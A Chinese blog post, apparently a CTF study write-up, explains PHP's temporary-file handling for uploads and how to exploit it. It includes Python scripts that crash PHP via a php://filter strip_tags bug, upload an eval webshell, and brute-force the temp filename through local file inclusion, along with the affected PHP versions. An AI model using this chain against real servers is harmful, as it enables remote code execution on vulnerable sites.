学习PHP临时文件机制与利用

0xGeekCat · 2020-8-12 · 次阅读


了解PHP临时文件

在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传
上传后会文件会保存在全局变量$_FILES里,该数组包含了所有上传文件的文件信息

  1. $_FILES\['userfile']['name']客户端文件的原名称
  2. $_FILES\['userfile']['type']文件的 MIME 类型
  3. $_FILES\['userfile']['size']已上传文件的大小,单位为字节
  4. $_FILES\['userfile']['tmp_name']文件上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录
  5. $_FILES\['userfile']['error']该文件上传的错误代码,上传成功其值为0,否则为错误信息

临时文件的存储目录

文件被上传后,默认会被存储到服务端的默认临时目录中,该临时目录由php.iniupload_tmp_dir属性指定,假如upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录中,假如开启了open_basedir,要想成功上传,系统默认临时目录需要指定PHP可访问

  1. 在Windows环境中,upload_tmp_dir属性默认为IDE安装目录下的tmp文件夹

  2. 在Linux环境中,upload_tmp_dir没有指定,所以会使用系统默认临时目录,这里是/tmp目录,该属性可以通过sys_get_temp_dir()函数来获得

    ![截屏2020-08-12 下午2.06.33](学习PHP临时文件机制与利用/截屏2020-08-12 下午2.06.33.png)

    截屏2020-08-12 下午2.14.05

临时文件的命名规则

默认为php + 4/6位随机数字和大小写字母,Windows环境下还会有.tmp文件后缀

  • Windows环境

    php[0-9A-Za-z]{4}.tmp
  • Linux环境

    php[0-9A-Za-z]{6}

临时文件的正常存活周期

截屏2020-08-12 下午2.23.57

👆这是PHP在通过POST方法上传文件时的运行周期图,临时文件的存活周期就是上图红色框中的时间段。如果在php运行的过程中,php非正常结束,比如崩溃,那么临时文件就会永久的保留。如果php正常的结束,并且该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除

如何利用临时文件

如何能够访问到该临时文件

由于临时文件目录一般不可访问,因此想要利用临时文件一般需要配合文件包含,或者某些ssrf结合包含来进行利用

如何获得临时文件的文件名

  1. 暴力猜解文件名。这时最朴素,最笨拙的方法,但也是最有效的方法
  2. 在Windows中,利用了FindFirstFile方法,可以通过通配符来进行文件包含
  3. 通过/proc/self/fd/xxx来获得,xxx从10开始,这里获得的时当前运行进程ID的一些符号链接

个人只学习了文章中介绍的最笨拙的方法

如何在php运行时间内包含到该临时文件

  1. 本地文件包含可以让php包含自身从而导致死循环,php守护进程产生内存溢出之后php会崩溃,php自身是不会因为错误直接退出,它会清空自己的内存堆栈,以便从错误中恢复,这在保证web服务的正常运转的同时,打断了php对临时文件的处理,这个时候对任php进行post文件请求,临时文件就会被保留

    • 正常的执行流程👇

      截屏2020-08-12 下午3.26.10

    • 漏洞利用过程👇

      截屏2020-08-12 下午3.27.03

  2. 特定php版本下,在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个文件就会一直留在tmp目录,再进行文件名爆破就可以getshell,这个崩溃原因是存在一处空指针引用

    该方法仅适用于以下php7版本,php5并不存在该崩溃:

    • php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
    • php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
    • php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
    # upload.py
    import requests
    import time
    s = requests.session()
    
    url='http://127.0.0.1:8080/WMCTF2020/web_checkin2/?content=php://filter/string.strip_tags/resource=geekcat.php' 👈
    
    files = {
        "demo":("test.jpg","<?php eval($_POST[1]);?>test","image/jpeg"), 👈 注意test标识号
        "submit":(None,"submit")
    }
    s.post(url,files=files)

    截屏2020-08-12 下午4.06.38

    👆执行脚本时apache会报段错误,文件会存入tmp文件夹;

    截屏2020-08-12 下午4.03.59

    只写入一个文件爆破过程中命中概率较小,耗时更久;可以进行永真来实现上传多次

    # loop.sh
    while :
    do
        python2 upload.py;
    done

    之后再进行文件名爆破

    import requests
    import string
    
    charset = string.digits + string.letters
    
    for i in charset:
            for j in charset:
                for k in charset:
                    for l in charset:
                        for m in charset:
                            for n in charset:
                                filename = i + j + k + l + m + n
                                url = "http://127.0.0.1:8080/WMCTF2020/web_checkin2/?content=/tmp/php" + filename  
                                response = requests.get(url)
                                if 'test' in response.text: 👈 检索test标志号
                                    print "[+]filename: php", filename
                                    exit(0)

    截屏2020-08-12 下午7.22.36

  3. 使用php://filter/convert.quoted-printable-encode也会导致的segment fault。实际上,这个崩溃并不适用于include,require等函数,该方法适用于以下版本的file函数,file_get_contents函数,readfile函数

    • php7.0.0-7.0.32
    • php7.0.4-7.2.12
    • php<=5.6.38的版本

string.strip_tags & convert.quoted-printable-encode

  • string.strip_tags - 从字符串中去除 HTML 和 PHP 标记
  • convert.quoted-printable-encode - 将 8-bit 字符串转换成 quoted-printable 字符串

Reference

PHP临时文件机制与利用的思考

郑重感谢